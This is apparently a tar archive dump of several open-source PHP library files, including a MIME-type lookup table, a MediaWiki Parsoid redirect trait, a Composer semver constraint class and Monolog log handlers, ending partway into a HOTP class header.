        'sql' => 'application/x-sql',
        'src' => 'application/x-wais-source',
        'srt' => 'application/x-subrip',
        'sru' => 'application/sru+xml',
        'srx' => 'application/sparql-results+xml',
        'ssdl' => 'application/ssdl+xml',
        'sse' => 'application/vnd.kodak-descriptor',
        'ssf' => 'application/vnd.epson.ssf',
        'ssml' => 'application/ssml+xml',
        'sst' => 'application/octet-stream',
        'st' => 'application/vnd.sailingtracker.track',
        'stc' => 'application/vnd.sun.xml.calc.template',
        'std' => 'application/vnd.sun.xml.draw.template',
        'stf' => 'application/vnd.wt.stf',
        'sti' => 'application/vnd.sun.xml.impress.template',
        'stk' => 'application/hyperstudio',
        'stl' => 'model/stl',
        'stpx' => 'model/step+xml',
        'stpxz' => 'model/step-xml+zip',
        'stpz' => 'model/step+zip',
        'str' => 'application/vnd.pg.format',
        'stw' => 'application/vnd.sun.xml.writer.template',
        'styl' => 'text/stylus',
        'stylus' => 'text/stylus',
        'sub' => 'text/vnd.dvb.subtitle',
        'sus' => 'application/vnd.sus-calendar',
        'susp' => 'application/vnd.sus-calendar',
        'sv4cpio' => 'application/x-sv4cpio',
        'sv4crc' => 'application/x-sv4crc',
        'svc' => 'application/vnd.dvb.service',
        'svd' => 'application/vnd.svd',
        'svg' => 'image/svg+xml',
        'svgz' => 'image/svg+xml',
        'swa' => 'application/x-director',
        'swf' => 'application/x-shockwave-flash',
        'swi' => 'application/vnd.aristanetworks.swi',
        'swidtag' => 'application/swid+xml',
        'sxc' => 'application/vnd.sun.xml.calc',
        'sxd' => 'application/vnd.sun.xml.draw',
        'sxg' => 'application/vnd.sun.xml.writer.global',
        'sxi' => 'application/vnd.sun.xml.impress',
        'sxm' => 'application/vnd.sun.xml.math',
        'sxw' => 'application/vnd.sun.xml.writer',
        't' => 'text/troff',
        't3' => 'application/x-t3vm-image',
        't38' => 'image/t38',
        'taglet' => 'application/vnd.mynfc',
        'tao' => 'application/vnd.tao.intent-module-archive',
        'tap' => 'image/vnd.tencent.tap',
        'tar' => 'application/x-tar',
        'tcap' => 'application/vnd.3gpp2.tcap',
        'tcl' => 'application/x-tcl',
        'td' => 'application/urc-targetdesc+xml',
        'teacher' => 'application/vnd.smart.teacher',
        'tei' => 'application/tei+xml',
        'teicorpus' => 'application/tei+xml',
        'tex' => 'application/x-tex',
        'texi' => 'application/x-texinfo',
        'texinfo' => 'application/x-texinfo',
        'text' => 'text/plain',
        'tfi' => 'application/thraud+xml',
        'tfm' => 'application/x-tex-tfm',
        'tfx' => 'image/tiff-fx',
        'tga' => 'image/x-tga',
        'tgz' => 'application/x-tar',
        'thmx' => 'application/vnd.ms-officetheme',
        'tif' => 'image/tiff',
        'tiff' => 'image/tiff',
        'tk' => 'application/x-tcl',
        'tmo' => 'application/vnd.tmobile-livetv',
        'toml' => 'application/toml',
        'torrent' => 'application/x-bittorrent',
        'tpl' => 'application/vnd.groove-tool-template',
        'tpt' => 'application/vnd.trid.tpt',
        'tr' => 'text/troff',
        'tra' => 'application/vnd.trueapp',
        'trig' => 'application/trig',
        'trm' => 'application/x-msterminal',
        'ts' => 'video/mp2t',
        'tsd' => 'application/timestamped-data',
        'tsv' => 'text/tab-separated-values',
        'ttc' => 'font/collection',
        'ttf' => 'font/ttf',
        'ttl' => 'text/turtle',
        'ttml' => 'application/ttml+xml',
        'twd' => 'application/vnd.simtech-mindmapper',
        'twds' => 'application/vnd.simtech-mindmapper',
        'txd' => 'application/vnd.genomatix.tuxedo',
        'txf' => 'application/vnd.mobius.txf',
        'txt' => 'text/plain',
        'u3d' => 'model/u3d',
        'u8dsn' => 'message/global-delivery-status',
        'u8hdr' => 'message/global-headers',
        'u8mdn' => 'message/global-disposition-notification',
        'u8msg' => 'message/global',
        'u32' => 'application/x-authorware-bin',
        'ubj' => 'application/ubjson',
        'udeb' => 'application/x-debian-package',
        'ufd' => 'application/vnd.ufdl',
        'ufdl' => 'application/vnd.ufdl',
        'ulx' => 'application/x-glulx',
        'umj' => 'application/vnd.umajin',
        'unityweb' => 'application/vnd.unity',
        'uoml' => 'application/vnd.uoml+xml',
        'uri' => 'text/uri-list',
        'uris' => 'text/uri-list',
        'urls' => 'text/uri-list',
        'usdz' => 'model/vnd.usdz+zip',
        'ustar' => 'application/x-ustar',
        'utz' => 'application/vnd.uiq.theme',
        'uu' => 'text/x-uuencode',
        'uva' => 'audio/vnd.dece.audio',
        'uvd' => 'application/vnd.dece.data',
        'uvf' => 'application/vnd.dece.data',
        'uvg' => 'image/vnd.dece.graphic',
        'uvh' => 'video/vnd.dece.hd',
        'uvi' => 'image/vnd.dece.graphic',
        'uvm' => 'video/vnd.dece.mobile',
        'uvp' => 'video/vnd.dece.pd',
        'uvs' => 'video/vnd.dece.sd',
        'uvt' => 'application/vnd.dece.ttml+xml',
        'uvu' => 'video/vnd.uvvu.mp4',
        'uvv' => 'video/vnd.dece.video',
        'uvva' => 'audio/vnd.dece.audio',
        'uvvd' => 'application/vnd.dece.data',
        'uvvf' => 'application/vnd.dece.data',
        'uvvg' => 'image/vnd.dece.graphic',
        'uvvh' => 'video/vnd.dece.hd',
        'uvvi' => 'image/vnd.dece.graphic',
        'uvvm' => 'video/vnd.dece.mobile',
        'uvvp' => 'video/vnd.dece.pd',
        'uvvs' => 'video/vnd.dece.sd',
        'uvvt' => 'application/vnd.dece.ttml+xml',
        'uvvu' => 'video/vnd.uvvu.mp4',
        'uvvv' => 'video/vnd.dece.video',
        'uvvx' => 'application/vnd.dece.unspecified',
        'uvvz' => 'application/vnd.dece.zip',
        'uvx' => 'application/vnd.dece.unspecified',
        'uvz' => 'application/vnd.dece.zip',
        'vbox' => 'application/x-virtualbox-vbox',
        'vbox-extpack' => 'application/x-virtualbox-vbox-extpack',
        'vcard' => 'text/vcard',
        'vcd' => 'application/x-cdlink',
        'vcf' => 'text/x-vcard',
        'vcg' => 'application/vnd.groove-vcard',
        'vcs' => 'text/x-vcalendar',
        'vcx' => 'application/vnd.vcx',
        'vdi' => 'application/x-virtualbox-vdi',
        'vds' => 'model/vnd.sap.vds',
        'vhd' => 'application/x-virtualbox-vhd',
        'vis' => 'application/vnd.visionary',
        'viv' => 'video/vnd.vivo',
        'vlc' => 'application/videolan',
        'vmdk' => 'application/x-virtualbox-vmdk',
        'vob' => 'video/x-ms-vob',
        'vor' => 'application/vnd.stardivision.writer',
        'vox' => 'application/x-authorware-bin',
        'vrml' => 'model/vrml',
        'vsd' => 'application/vnd.visio',
        'vsf' => 'application/vnd.vsf',
        'vss' => 'application/vnd.visio',
        'vst' => 'application/vnd.visio',
        'vsw' => 'application/vnd.visio',
        'vtf' => 'image/vnd.valve.source.texture',
        'vtt' => 'text/vtt',
        'vtu' => 'model/vnd.vtu',
        'vxml' => 'application/voicexml+xml',
        'w3d' => 'application/x-director',
        'wad' => 'application/x-doom',
        'wadl' => 'application/vnd.sun.wadl+xml',
        'war' => 'application/java-archive',
        'wasm' => 'application/wasm',
        'wav' => 'audio/x-wav',
        'wax' => 'audio/x-ms-wax',
        'wbmp' => 'image/vnd.wap.wbmp',
        'wbs' => 'application/vnd.criticaltools.wbs+xml',
        'wbxml' => 'application/wbxml',
        'wcm' => 'application/vnd.ms-works',
        'wdb' => 'application/vnd.ms-works',
        'wdp' => 'image/vnd.ms-photo',
        'weba' => 'audio/webm',
        'webapp' => 'application/x-web-app-manifest+json',
        'webm' => 'video/webm',
        'webmanifest' => 'application/manifest+json',
        'webp' => 'image/webp',
        'wg' => 'application/vnd.pmi.widget',
        'wgt' => 'application/widget',
        'wif' => 'application/watcherinfo+xml',
        'wks' => 'application/vnd.ms-works',
        'wm' => 'video/x-ms-wm',
        'wma' => 'audio/x-ms-wma',
        'wmd' => 'application/x-ms-wmd',
        'wmf' => 'image/wmf',
        'wml' => 'text/vnd.wap.wml',
        'wmlc' => 'application/wmlc',
        'wmls' => 'text/vnd.wap.wmlscript',
        'wmlsc' => 'application/vnd.wap.wmlscriptc',
        'wmv' => 'video/x-ms-wmv',
        'wmx' => 'video/x-ms-wmx',
        'wmz' => 'application/x-msmetafile',
        'woff' => 'font/woff',
        'woff2' => 'font/woff2',
        'word' => 'application/msword',
        'wpd' => 'application/vnd.wordperfect',
        'wpl' => 'application/vnd.ms-wpl',
        'wps' => 'application/vnd.ms-works',
        'wqd' => 'application/vnd.wqd',
        'wri' => 'application/x-mswrite',
        'wrl' => 'model/vrml',
        'wsc' => 'message/vnd.wfa.wsc',
        'wsdl' => 'application/wsdl+xml',
        'wspolicy' => 'application/wspolicy+xml',
        'wtb' => 'application/vnd.webturbo',
        'wvx' => 'video/x-ms-wvx',
        'x3d' => 'model/x3d+xml',
        'x3db' => 'model/x3d+fastinfoset',
        'x3dbz' => 'model/x3d+binary',
        'x3dv' => 'model/x3d-vrml',
        'x3dvz' => 'model/x3d+vrml',
        'x3dz' => 'model/x3d+xml',
        'x32' => 'application/x-authorware-bin',
        'x_b' => 'model/vnd.parasolid.transmit.binary',
        'x_t' => 'model/vnd.parasolid.transmit.text',
        'xaml' => 'application/xaml+xml',
        'xap' => 'application/x-silverlight-app',
        'xar' => 'application/vnd.xara',
        'xav' => 'application/xcap-att+xml',
        'xbap' => 'application/x-ms-xbap',
        'xbd' => 'application/vnd.fujixerox.docuworks.binder',
        'xbm' => 'image/x-xbitmap',
        'xca' => 'application/xcap-caps+xml',
        'xcs' => 'application/calendar+xml',
        'xdf' => 'application/xcap-diff+xml',
        'xdm' => 'application/vnd.syncml.dm+xml',
        'xdp' => 'application/vnd.adobe.xdp+xml',
        'xdssc' => 'application/dssc+xml',
        'xdw' => 'application/vnd.fujixerox.docuworks',
        'xel' => 'application/xcap-el+xml',
        'xenc' => 'application/xenc+xml',
        'xer' => 'application/patch-ops-error+xml',
        'xfdf' => 'application/vnd.adobe.xfdf',
        'xfdl' => 'application/vnd.xfdl',
        'xht' => 'application/xhtml+xml',
        'xhtml' => 'application/xhtml+xml',
        'xhvml' => 'application/xv+xml',
        'xif' => 'image/vnd.xiff',
        'xl' => 'application/excel',
        'xla' => 'application/vnd.ms-excel',
        'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
        'xlc' => 'application/vnd.ms-excel',
        'xlf' => 'application/xliff+xml',
        'xlm' => 'application/vnd.ms-excel',
        'xls' => 'application/vnd.ms-excel',
        'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
        'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
        'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
        'xlt' => 'application/vnd.ms-excel',
        'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
        'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
        'xlw' => 'application/vnd.ms-excel',
        'xm' => 'audio/xm',
        'xml' => 'application/xml',
        'xns' => 'application/xcap-ns+xml',
        'xo' => 'application/vnd.olpc-sugar',
        'xop' => 'application/xop+xml',
        'xpi' => 'application/x-xpinstall',
        'xpl' => 'application/xproc+xml',
        'xpm' => 'image/x-xpixmap',
        'xpr' => 'application/vnd.is-xpr',
        'xps' => 'application/vnd.ms-xpsdocument',
        'xpw' => 'application/vnd.intercon.formnet',
        'xpx' => 'application/vnd.intercon.formnet',
        'xsd' => 'application/xml',
        'xsl' => 'application/xml',
        'xslt' => 'application/xslt+xml',
        'xsm' => 'application/vnd.syncml+xml',
        'xspf' => 'application/xspf+xml',
        'xul' => 'application/vnd.mozilla.xul+xml',
        'xvm' => 'application/xv+xml',
        'xvml' => 'application/xv+xml',
        'xwd' => 'image/x-xwindowdump',
        'xyz' => 'chemical/x-xyz',
        'xz' => 'application/x-xz',
        'yaml' => 'text/yaml',
        'yang' => 'application/yang',
        'yin' => 'application/yin+xml',
        'yml' => 'text/yaml',
        'ymp' => 'text/x-suse-ymp',
        'z' => 'application/x-compress',
        'z1' => 'application/x-zmachine',
        'z2' => 'application/x-zmachine',
        'z3' => 'application/x-zmachine',
        'z4' => 'application/x-zmachine',
        'z5' => 'application/x-zmachine',
        'z6' => 'application/x-zmachine',
        'z7' => 'application/x-zmachine',
        'z8' => 'application/x-zmachine',
        'zaz' => 'application/vnd.zzazz.deck+xml',
        'zip' => 'application/zip',
        'zir' => 'application/vnd.zul',
        'zirz' => 'application/vnd.zul',
        'zmm' => 'application/vnd.handheld-entertainment+xml',
        'zsh' => 'text/x-scriptzsh',
    ];

    /**
     * Determines the mimetype of a file by looking at its extension.
     *
     * @link https://raw.githubusercontent.com/jshttp/mime-db/master/db.json
     */
    public static function fromFilename(string $filename): ?string
    {
        return self::fromExtension(pathinfo($filename, PATHINFO_EXTENSION));
    }

    /**
     * Maps a file extensions to a mimetype.
     *
     * @link https://raw.githubusercontent.com/jshttp/mime-db/master/db.json
     */
    public static function fromExtension(string $extension): ?string
    {
        return self::MIME_TYPES[strtolower($extension)] ?? null;
    }
}
Rest/Handler/EndpointRedirectTrait.php000066600000012660151335102550014026 0ustar00<?php
/**
 * Copyright (C) 2011-2020 Wikimedia Foundation and others.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */
declare( strict_types = 1 );

namespace MWParsoid\Rest\Handler;

use LogicException;
use MediaWiki\MediaWikiServices;
use MediaWiki\Rest\Handler;
use MediaWiki\Rest\Handler\Helper\ParsoidFormatHelper;
use MediaWiki\Rest\RequestInterface;
use MediaWiki\Rest\Response;
use MediaWiki\Rest\ResponseFactory;

/**
 * Trait for overriding methods in ParsoidHandler that control the redirect targets.
 * This is used by endpoints in the parsoid extensions to change the redirect targets
 * from endpoints defined in MediaWiki core to the endpoints defined by the parsoid
 * extension.
 */
trait EndpointRedirectTrait {

	/**
	 * Override the transform endpoint path.
	 * @see ParsoidHandler::getTransformEndpoint
	 *
	 * @param string $format The format the endpoint is expected to return.
	 *
	 * @return string
	 */
	protected function getTransformEndpoint( string $format = ParsoidFormatHelper::FORMAT_HTML ): string {
		return '/{domain}/v3/transform/{from}/to/{format}/{title}/{revision}';
	}

	/**
	 * Override the page content endpoint path.
	 * @see ParsoidHandler::getPageContentEndpoint
	 *
	 * @param string $format The format the endpoint is expected to return.
	 *
	 * @return string
	 */
	protected function getPageContentEndpoint( string $format = ParsoidFormatHelper::FORMAT_HTML ): string {
		return '/{domain}/v3/page/{format}/{title}';
	}

	/**
	 * Override the revision content endpoint path.
	 * @see ParsoidHandler::getRevisionContentEndpoint
	 *
	 * @param string $format The format the endpoint is expected to return.
	 *
	 * @return string
	 */
	protected function getRevisionContentEndpoint( string $format = ParsoidFormatHelper::FORMAT_HTML ): string {
		return '/{domain}/v3/page/{format}/{title}/{revision}';
	}

	/**
	 * Overrides createRedirectResponse in order to implement redirects relative
	 * to the server and protocol that were used to make the current request.
	 *
	 * @see ParsoidHandler::createRedirectResponse
	 *
	 * @param string $path Target URL
	 * @param array $pathParams Path parameters to inject into path
	 * @param array $queryParams Query parameters
	 *
	 * @return Response
	 */
	protected function createRedirectResponse(
		string $path, array $pathParams = [], array $queryParams = []
	): Response {
		// FIXME: We should not override ParsoidHandler::createRedirectResponse().
		//        Instead, we should implement the relevant logic in getRedirectRouteUrl().
		//        For now, this is needed to ensure that redirects will use the internal
		//        server and protocol ($wgInternalServer) if the endpoint was invoked
		//        as a private endpoint. See T311867.
		global $wgRestPath;
		$urlUtils = MediaWikiServices::getInstance()->getUrlUtils();
		$path = $urlUtils->expand( "$wgRestPath$path", PROTO_CURRENT );
		foreach ( $pathParams as $param => $value ) {
			// NOTE: we use rawurlencode here, since execute() uses rawurldecode().
			// Spaces in path params must be encoded to %20 (not +).
			$path = str_replace( '{' . $param . '}', rawurlencode( (string)$value ), $path );
		}
		// XXX: this should not be necessary in the REST entry point
		unset( $queryParams['title'] );
		if ( $queryParams ) {
			$path .= ( strpos( $path, '?' ) === false ? '?' : '&' )
				. http_build_query( $queryParams, '', '&', PHP_QUERY_RFC3986 );
		}
		if ( $this->getRequest()->getMethod() === 'POST' ) {
			$response = $this->getResponseFactory()->createTemporaryRedirect( $path );
		} else {
			$response = $this->getResponseFactory()->createLegacyTemporaryRedirect( $path );
		}
		$response->setHeader( 'Cache-Control', 'private,no-cache,s-maxage=0' );
		return $response;
	}

	/**
	 * @see Handler::getResponseFactory
	 * @return ResponseFactory
	 */
	abstract protected function getResponseFactory();

	/**
	 * @see Handler::getRequest
	 * @return RequestInterface
	 */
	abstract protected function getRequest();

	/**
	 * @see ParsoidHandler::getRedirectRouteUrl
	 *
	 * @param string $path
	 * @param array $pathParams
	 * @param array $queryParams
	 *
	 * @return never
	 */
	protected function getRedirectRouteUrl(
		string $path, array $pathParams = [], array $queryParams = []
	) {
		// TODO: this should call $this->getRouter()->getRouteUrl() or
		// $this->getRouter()->getPrivateRouteUrl(), depending on a configuration
		// setting, or on some logic that detects whether the current request is
		// to a private endpoint.
		// Once we have this logic here, we no longer need to override
		// createRedirectResponse().
		// Background: On the WMF cluster, the parsoid extension endpoints are not public,
		// and redirects should be based on $wgInternalServer. But third party wikis may
		// want to have these endpoints public. See T311867.
		throw new LogicException( 'Not Implemented' );
	}

}
Constraint/MultiConstraint.php000066600000022501151335102730012544 0ustar00<?php

/*
 * This file is part of composer/semver.
 *
 * (c) Composer <https://github.com/composer>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace Composer\Semver\Constraint;

/**
 * Defines a conjunctive or disjunctive set of constraints.
 */
class MultiConstraint implements ConstraintInterface
{
    /**
     * @var ConstraintInterface[]
     * @phpstan-var non-empty-array<ConstraintInterface>
     */
    protected $constraints;

    /** @var string|null */
    protected $prettyString;

    /** @var string|null */
    protected $string;

    /** @var bool */
    protected $conjunctive;

    /** @var Bound|null */
    protected $lowerBound;

    /** @var Bound|null */
    protected $upperBound;

    /**
     * @param ConstraintInterface[] $constraints A set of constraints
     * @param bool                  $conjunctive Whether the constraints should be treated as conjunctive or disjunctive
     *
     * @throws \InvalidArgumentException If less than 2 constraints are passed
     */
    public function __construct(array $constraints, $conjunctive = true)
    {
        if (\count($constraints) < 2) {
            throw new \InvalidArgumentException(
                'Must provide at least two constraints for a MultiConstraint. Use '.
                'the regular Constraint class for one constraint only or MatchAllConstraint for none. You may use '.
                'MultiConstraint::create() which optimizes and handles those cases automatically.'
            );
        }

        $this->constraints = $constraints;
        $this->conjunctive = $conjunctive;
    }

    /**
     * @return ConstraintInterface[]
     */
    public function getConstraints()
    {
        return $this->constraints;
    }

    /**
     * @return bool
     */
    public function isConjunctive()
    {
        return $this->conjunctive;
    }

    /**
     * @return bool
     */
    public function isDisjunctive()
    {
        return !$this->conjunctive;
    }

    /**
     * {@inheritDoc}
     */
    public function compile($otherOperator)
    {
        $parts = array();
        foreach ($this->constraints as $constraint) {
            $code = $constraint->compile($otherOperator);
            if ($code === 'true') {
                if (!$this->conjunctive) {
                    return 'true';
                }
            } elseif ($code === 'false') {
                if ($this->conjunctive) {
                    return 'false';
                }
            } else {
                $parts[] = '('.$code.')';
            }
        }

        if (!$parts) {
            return $this->conjunctive ? 'true' : 'false';
        }

        return $this->conjunctive ? implode('&&', $parts) : implode('||', $parts);
    }

    /**
     * @param ConstraintInterface $provider
     *
     * @return bool
     */
    public function matches(ConstraintInterface $provider)
    {
        if (false === $this->conjunctive) {
            foreach ($this->constraints as $constraint) {
                if ($provider->matches($constraint)) {
                    return true;
                }
            }

            return false;
        }

        // when matching a conjunctive and a disjunctive multi constraint we have to iterate over the disjunctive one
        // otherwise we'd return true if different parts of the disjunctive constraint match the conjunctive one
        // which would lead to incorrect results, e.g. [>1 and <2] would match [<1 or >2] although they do not intersect
        if ($provider instanceof MultiConstraint && $provider->isDisjunctive()) {
            return $provider->matches($this);
        }

        foreach ($this->constraints as $constraint) {
            if (!$provider->matches($constraint)) {
                return false;
            }
        }

        return true;
    }

    /**
     * {@inheritDoc}
     */
    public function setPrettyString($prettyString)
    {
        $this->prettyString = $prettyString;
    }

    /**
     * {@inheritDoc}
     */
    public function getPrettyString()
    {
        if ($this->prettyString) {
            return $this->prettyString;
        }

        return (string) $this;
    }

    /**
     * {@inheritDoc}
     */
    public function __toString()
    {
        if ($this->string !== null) {
            return $this->string;
        }

        $constraints = array();
        foreach ($this->constraints as $constraint) {
            $constraints[] = (string) $constraint;
        }

        return $this->string = '[' . implode($this->conjunctive ? ' ' : ' || ', $constraints) . ']';
    }

    /**
     * {@inheritDoc}
     */
    public function getLowerBound()
    {
        $this->extractBounds();

        if (null === $this->lowerBound) {
            throw new \LogicException('extractBounds should have populated the lowerBound property');
        }

        return $this->lowerBound;
    }

    /**
     * {@inheritDoc}
     */
    public function getUpperBound()
    {
        $this->extractBounds();

        if (null === $this->upperBound) {
            throw new \LogicException('extractBounds should have populated the upperBound property');
        }

        return $this->upperBound;
    }

    /**
     * Tries to optimize the constraints as much as possible, meaning
     * reducing/collapsing congruent constraints etc.
     * Does not necessarily return a MultiConstraint instance if
     * things can be reduced to a simple constraint
     *
     * @param ConstraintInterface[] $constraints A set of constraints
     * @param bool                  $conjunctive Whether the constraints should be treated as conjunctive or disjunctive
     *
     * @return ConstraintInterface
     */
    public static function create(array $constraints, $conjunctive = true)
    {
        if (0 === \count($constraints)) {
            return new MatchAllConstraint();
        }

        if (1 === \count($constraints)) {
            return $constraints[0];
        }

        $optimized = self::optimizeConstraints($constraints, $conjunctive);
        if ($optimized !== null) {
            list($constraints, $conjunctive) = $optimized;
            if (\count($constraints) === 1) {
                return $constraints[0];
            }
        }

        return new self($constraints, $conjunctive);
    }

    /**
     * @param  ConstraintInterface[] $constraints
     * @param  bool                  $conjunctive
     * @return ?array
     *
     * @phpstan-return array{0: list<ConstraintInterface>, 1: bool}|null
     */
    private static function optimizeConstraints(array $constraints, $conjunctive)
    {
        // parse the two OR groups and if they are contiguous we collapse
        // them into one constraint
        // [>= 1 < 2] || [>= 2 < 3] || [>= 3 < 4] => [>= 1 < 4]
        if (!$conjunctive) {
            $left = $constraints[0];
            $mergedConstraints = array();
            $optimized = false;
            for ($i = 1, $l = \count($constraints); $i < $l; $i++) {
                $right = $constraints[$i];
                if (
                    $left instanceof self
                    && $left->conjunctive
                    && $right instanceof self
                    && $right->conjunctive
                    && \count($left->constraints) === 2
                    && \count($right->constraints) === 2
                    && ($left0 = (string) $left->constraints[0])
                    && $left0[0] === '>' && $left0[1] === '='
                    && ($left1 = (string) $left->constraints[1])
                    && $left1[0] === '<'
                    && ($right0 = (string) $right->constraints[0])
                    && $right0[0] === '>' && $right0[1] === '='
                    && ($right1 = (string) $right->constraints[1])
                    && $right1[0] === '<'
                    && substr($left1, 2) === substr($right0, 3)
                ) {
                    $optimized = true;
                    $left = new MultiConstraint(
                        array(
                            $left->constraints[0],
                            $right->constraints[1],
                        ),
                        true);
                } else {
                    $mergedConstraints[] = $left;
                    $left = $right;
                }
            }
            if ($optimized) {
                $mergedConstraints[] = $left;
                return array($mergedConstraints, false);
            }
        }

        // TODO: Here's the place to put more optimizations

        return null;
    }

    /**
     * @return void
     */
    private function extractBounds()
    {
        if (null !== $this->lowerBound) {
            return;
        }

        foreach ($this->constraints as $constraint) {
            if (null === $this->lowerBound || null === $this->upperBound) {
                $this->lowerBound = $constraint->getLowerBound();
                $this->upperBound = $constraint->getUpperBound();
                continue;
            }

            if ($constraint->getLowerBound()->compareTo($this->lowerBound, $this->isConjunctive() ? '>' : '<')) {
                $this->lowerBound = $constraint->getLowerBound();
            }

            if ($constraint->getUpperBound()->compareTo($this->upperBound, $this->isConjunctive() ? '<' : '>')) {
                $this->upperBound = $constraint->getUpperBound();
            }
        }
    }
}
Monolog/Processor/TagProcessor.php000066600000001635151335104700013271 0ustar00<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Processor;

/**
 * Adds a tags array into record
 *
 * @author Martijn Riemers
 */
class TagProcessor implements ProcessorInterface
{
    private $tags;

    public function __construct(array $tags = [])
    {
        $this->setTags($tags);
    }

    public function addTags(array $tags = []): self
    {
        $this->tags = array_merge($this->tags, $tags);

        return $this;
    }

    public function setTags(array $tags = []): self
    {
        $this->tags = $tags;

        return $this;
    }

    public function __invoke(array $record): array
    {
        $record['extra']['tags'] = $this->tags;

        return $record;
    }
}
Monolog/Handler/FilterHandler.php000066600000013461151335104700012777 0ustar00<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use Monolog\Logger;
use Monolog\ResettableInterface;
use Monolog\Formatter\FormatterInterface;

/**
 * Simple handler wrapper that filters records based on a list of levels
 *
 * It can be configured with an exact list of levels to allow, or a min/max level.
 *
 * @author Hennadiy Verkh
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class FilterHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface, FormattableHandlerInterface
{
    use ProcessableHandlerTrait;

    /**
     * Handler or factory callable($record, $this)
     *
     * @var callable|\Monolog\Handler\HandlerInterface
     */
    protected $handler;

    /**
     * Minimum level for logs that are passed to handler
     *
     * @var int[]
     */
    protected $acceptedLevels;

    /**
     * Whether the messages that are handled can bubble up the stack or not
     *
     * @var bool
     */
    protected $bubble;

    /**
     * @psalm-param HandlerInterface|callable(?array, HandlerInterface): HandlerInterface $handler
     *
     * @param callable|HandlerInterface $handler        Handler or factory callable($record|null, $filterHandler).
     * @param int|array                 $minLevelOrList A list of levels to accept or a minimum level if maxLevel is provided
     * @param int|string                $maxLevel       Maximum level to accept, only used if $minLevelOrList is not an array
     * @param bool                      $bubble         Whether the messages that are handled can bubble up the stack or not
     */
    public function __construct($handler, $minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY, bool $bubble = true)
    {
        $this->handler  = $handler;
        $this->bubble   = $bubble;
        $this->setAcceptedLevels($minLevelOrList, $maxLevel);

        if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) {
            throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object");
        }
    }

    public function getAcceptedLevels(): array
    {
        return array_flip($this->acceptedLevels);
    }

    /**
     * @param int|string|array $minLevelOrList A list of levels to accept or a minimum level or level name if maxLevel is provided
     * @param int|string       $maxLevel       Maximum level or level name to accept, only used if $minLevelOrList is not an array
     */
    public function setAcceptedLevels($minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY): self
    {
        if (is_array($minLevelOrList)) {
            $acceptedLevels = array_map('Monolog\Logger::toMonologLevel', $minLevelOrList);
        } else {
            $minLevelOrList = Logger::toMonologLevel($minLevelOrList);
            $maxLevel = Logger::toMonologLevel($maxLevel);
            $acceptedLevels = array_values(array_filter(Logger::getLevels(), function ($level) use ($minLevelOrList, $maxLevel) {
                return $level >= $minLevelOrList && $level <= $maxLevel;
            }));
        }
        $this->acceptedLevels = array_flip($acceptedLevels);

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function isHandling(array $record): bool
    {
        return isset($this->acceptedLevels[$record['level']]);
    }

    /**
     * {@inheritdoc}
     */
    public function handle(array $record): bool
    {
        if (!$this->isHandling($record)) {
            return false;
        }

        if ($this->processors) {
            $record = $this->processRecord($record);
        }

        $this->getHandler($record)->handle($record);

        return false === $this->bubble;
    }

    /**
     * {@inheritdoc}
     */
    public function handleBatch(array $records): void
    {
        $filtered = [];
        foreach ($records as $record) {
            if ($this->isHandling($record)) {
                $filtered[] = $record;
            }
        }

        if (count($filtered) > 0) {
            $this->getHandler($filtered[count($filtered) - 1])->handleBatch($filtered);
        }
    }

    /**
     * Return the nested handler
     *
     * If the handler was provided as a factory callable, this will trigger the handler's instantiation.
     *
     * @return HandlerInterface
     */
    public function getHandler(array $record = null)
    {
        if (!$this->handler instanceof HandlerInterface) {
            $this->handler = ($this->handler)($record, $this);
            if (!$this->handler instanceof HandlerInterface) {
                throw new \RuntimeException("The factory callable should return a HandlerInterface");
            }
        }

        return $this->handler;
    }

    /**
     * {@inheritdoc}
     */
    public function setFormatter(FormatterInterface $formatter): HandlerInterface
    {
        $handler = $this->getHandler();
        if ($handler instanceof FormattableHandlerInterface) {
            $handler->setFormatter($formatter);

            return $this;
        }

        throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.');
    }

    /**
     * {@inheritdoc}
     */
    public function getFormatter(): FormatterInterface
    {
        $handler = $this->getHandler();
        if ($handler instanceof FormattableHandlerInterface) {
            return $handler->getFormatter();
        }

        throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.');
    }

    public function reset()
    {
        $this->resetProcessors();
    }
}
Liuggio/StatsdClient/Exception/InvalidArgumentException.php000066600000000167151335107230020173 0ustar00<?php

namespace Liuggio\StatsdClient\Exception;

class InvalidArgumentException extends \InvalidArgumentException
{
}
HOTP.php000066600000007176151335113240006044 0ustar00<?php

namespace jakobo\HOTP;

/**
 * HOTP Class
 * Based on the work of OAuth, and the sample implementation of HMAC OTP
 * http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04#appendix-D
 * @author Jakob Heuser (firstname)@felocity.com
 * @copyright 2011-2020
